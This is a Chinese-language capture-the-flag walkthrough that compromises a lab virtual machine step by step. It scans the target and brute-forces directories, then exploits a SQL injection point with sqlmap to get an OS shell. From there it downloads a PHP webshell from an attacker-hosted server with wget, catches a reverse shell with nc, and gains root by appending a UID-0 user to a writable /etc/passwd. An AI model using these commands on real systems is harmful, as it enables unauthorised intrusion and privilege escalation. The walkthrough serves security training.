首先用netdiscover工具扫描一下靶机IP:
netdiscover
由经验推断出靶机IP为:192.168.34.228,接着使用nmap工具扫描一下靶机端口的开放情况:
nmap -sV -p 0-65535 192.168.34.228
发现靶机只开放了80端口,然后访问一下看看:
然后试一下目录爆破:
dirb http://192.168.34.228
发现robots.txt,打开看一下:
发现了3个目录,挨个试一下发现其他目录都是没有权限访问,只有/se3reTdir777目录下发现了一个sql注入点:
然后用sqlmap跑一下:
sqlmap -u "http://192.168.34.22/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --dbs
sqlmap -u "http://192.168.34.228/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 -D aiweb1 --tables
sqlmap -u "http://192.168.34.228/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 -D aiweb1 -T user --columns
看到这就没必要再往后看了,对我们没有什么用,然后我们现在再来试着扫一下刚刚爆出来的那个目录:
dirb http://192.168.34.228/m3diNf0/
发现一个php文件,打开看一下:
在这个文件中我们发现了网站的根目录,然后用sqlmap试着看能不能反弹个shell:
sqlmap -u "http://192.168.34.228/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
然后上传一个一句话木马进行反弹shell进行提权,先用python搭建一个简易的服务器,然后用wget进行下载:
python -m http.server 7777 (本机或kali)
wget -S http://192.168.34.109:7777/c.php (靶机)
完成以后用ls查看一下:
(php代码如下:)
然后现在在在kali中监听8888端口;
nc -lvp 8888
php c.php
然后再看kali已经成功反弹shell:
接下来就要进行提权,首先看一下当前用户的权限;
id
发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看:
因为写入的时候密码是加密的,所以要先加密密码:
openssl passwd -1 -salt web123 111111
echo 'web123:$1$web123$uV5A1jaPfeOZ.15vlE6cR/:0:0::/root:/bin/bash'>>/etc/passwd
写进去以后直接切换用户的会报错:
所以先要提升为交互式shell,再切换用户:
python -c 'import pty;pty.spawn("/bin/bash")'